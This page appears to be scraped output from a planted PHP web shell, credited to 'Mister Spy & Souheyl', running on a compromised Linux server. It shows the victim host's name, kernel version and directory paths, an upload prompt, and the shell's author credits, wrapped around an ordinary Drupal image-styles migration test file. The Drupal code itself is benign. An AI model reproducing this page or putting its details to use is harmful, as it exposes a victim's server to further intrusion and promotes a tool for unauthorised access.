Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html1/web/core/modules/image/tests/src/Kernel/Plugin/migrate/source/d7/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html1/web/core/modules/image/tests/src/Kernel/Plugin/migrate/source/d7/ImageStylesTest.php

<?php

namespace Drupal\Tests\image\Kernel\Plugin\migrate\source\d7;

use Drupal\Tests\migrate\Kernel\MigrateSqlSourceTestBase;

/**
 * Tests the D7 ImageStyles source plugin.
 *
 * @covers \Drupal\image\Plugin\migrate\source\d7\ImageStyles
 *
 * @group image
 */
class ImageStylesTest extends MigrateSqlSourceTestBase {

  /**
   * {@inheritdoc}
   */
  public static $modules = ['image', 'migrate_drupal'];

  /**
   * {@inheritdoc}
   */
  public function providerSource() {
    $tests = [];

    // The source data.
    $tests[0]['source_data']['image_styles'] = [
      [
        'isid' => 1,
        'name' => 'custom_image_style_1',
        'label' => 'Custom image style 1',
      ],
    ];
    $tests[0]['source_data']['image_effects'] = [
      [
        'ieid' => 1,
        'isid' => 1,
        'weight' => 1,
        'name' => 'image_desaturate',
        'data' => serialize([]),
      ],
    ];

    // The expected results.
    $tests[0]['expected_data'] = [
      [
        'isid' => 1,
        'name' => 'custom_image_style_1',
        'label' => 'Custom image style 1',
        'effects' => [
          [
            'ieid' => 1,
            'isid' => 1,
            'weight' => 1,
            'name' => 'image_desaturate',
            'data' => [],
          ],
        ],
      ],
    ];

    return $tests;
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net